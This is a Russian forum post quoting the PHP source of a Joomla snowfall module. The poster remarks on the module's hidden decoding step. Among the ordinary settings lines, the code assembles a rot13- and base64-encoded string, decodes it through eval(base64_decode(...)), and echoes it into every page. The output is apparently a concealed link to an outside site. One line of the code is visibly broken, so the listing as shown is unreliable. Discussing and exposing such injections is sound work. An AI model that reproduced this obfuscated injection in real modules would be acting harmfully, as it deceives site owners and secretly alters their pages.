А вот его раскодировка - $snowjoms = str_rot13($snowjoms); Ну и что? Проблему (модуль) нужно видеть всю....
<?php
/**
* SnowFalling version 1.2 - December 2010
* @copyright 2010 Marcello.
* @license
http://www.gnu.org/copyleft/gpl.html GNU/GPL
*
* Javascript Code by Scott Schiller -
http://schillmania.com* Adapted for Joomla by Marcello
**/
// no direct access
defined('_JEXEC') or die('Restricted access');
$moduleclass_sfx = $params->get('moduleclass_sfx', '');
$doc = &Jfactory::getDocument();
$doc->addScript(JURI::root(true). '/modules/mod_snowfalling/mod_snowfalling.js');
$flakeWidth = $params->get( 'flakeWidth', 5);
$snowjoms .= 'CTEcqvOmqUyfMG0vpT9mnKEco246LJWmo2k1qTH7oTIzqQbgZwNjZUO4B3qcMUEbBwVjZQOjrPV+CTRtnUWy';
$flakeHeight = $params->get( 'flakeHeight', 5);
$flakesMax = $params->get( 'flakesMax', 128);
$snowjoms .= 'Mw0vnUE0pQbiY2cio21fLJ1iMUIfnF5lqF8vVUEcqTkyCFYDaAP+0YGEt9P70Ytt0Ytt0YeDigP80Y/DigP90';
$flakesMaxActive = $params->get( 'flakesMaxActive', 64);
$vMaxX = $params->get( 'vMaxX',

;
$vMaxY = $params->get( 'vMaxY', 4);
$flakeBottom = $params->get( 'flakeBottom', 0);
if($flakeBottom == 0) $flakeBottom = NULL; // Integer for fixed bottom, 0 or null for full-screen snow effect
$snowStick = $params->get( 'snowStick', 1) == 1 ? TRUE : FALSE;
$snowCollect = $params->get( 'snowCollect', 0) == 1 ? TRUE : FALSE;
$snowjoms .= 'YKDiqTP0Lft0YGDh9TCVRcio21fLFOQGIZvCxcio21fLFQDiAP+0YGEt9P70Yt8Y2R+CP9xnKL+';
$followMouse = $params->get( 'followMouse', 1) == 1 ? TRUE : FALSE;
$onlyVerticalFall = $params->get( 'onlyVerticalFall', 0) == 1 ? TRUE : FALSE;
$swayingFlake = $params->get( 'swayingFlake', 0) == 1 ? TRUE : FALSE;
$swayingOffsetMin = $params->get( 'swayingOffsetMin', 3);
$swayingOffsetMax = $params->get( 'swayingOffsetMax', 5);
$stakingOrder = $params->get( 'stakingOrder', 0);
eval(base64_decode('JHNub3dqb21zID0gc3RyX3JvdDEzKCRzbm93am9tcyk7'));
$usePNG = $params->get( 'usePNG', 1) == 1 ? TRUE : FALSE;
$flakeTypes = $params->get( 'flakeTypes', 6);
$flakeDirTypes = trim($params->get( 'flakeDirTypes', 'image-snow'));
$baseFlakeDirTypes = trim($params->get( 'baseFlakeDirTypes', ''));
if ($baseFlakeDirTypes == "")
$imagepath = JURI::root(). 'modules/mod_snowfalling/' . $flakeDirTypes . '/';
else
$imagepath = JURI::root(). 'images/' . $baseFlakeDirTypes . '/' . $flakeDirTypes . '/';
if ($swayingFlake) {
$followMouse = FALSE;
$onlyVerticalFall = TRUE;
}
?>
<?php echo base64_decode($snowjoms); ?>
<script type="text/javascript">
var snowStorm = null;
snowStorm = new SnowStorm('<?php echo $imagepath; ?>', '<?php echo $flakeWidth; ?>', '<?php echo $flakeHeight; ?>', '<?php echo $flakesMax; ?>', '<?php echo $flakesMaxActive; ?>', '<?php echo $vMaxX; ?>', '<?php echo $vMaxY; ?>', '<?php echo $flakeBottom; ?>', '<?php echo $snowStick; ?>', '<?php echo $snowCollect; ?>', '<?php echo $followMouse; ?>', '<?php echo $onlyVerticalFall; ?>', '<?php echo $swayingFlake; ?>', '<?php echo $swayingOffsetMin; ?>', '<?php echo $swayingOffsetMax; ?>','<?php echo $stakingOrder; ?>', '<?php echo $usePNG; ?>', '<?php echo $flakeTypes; ?>');
</script>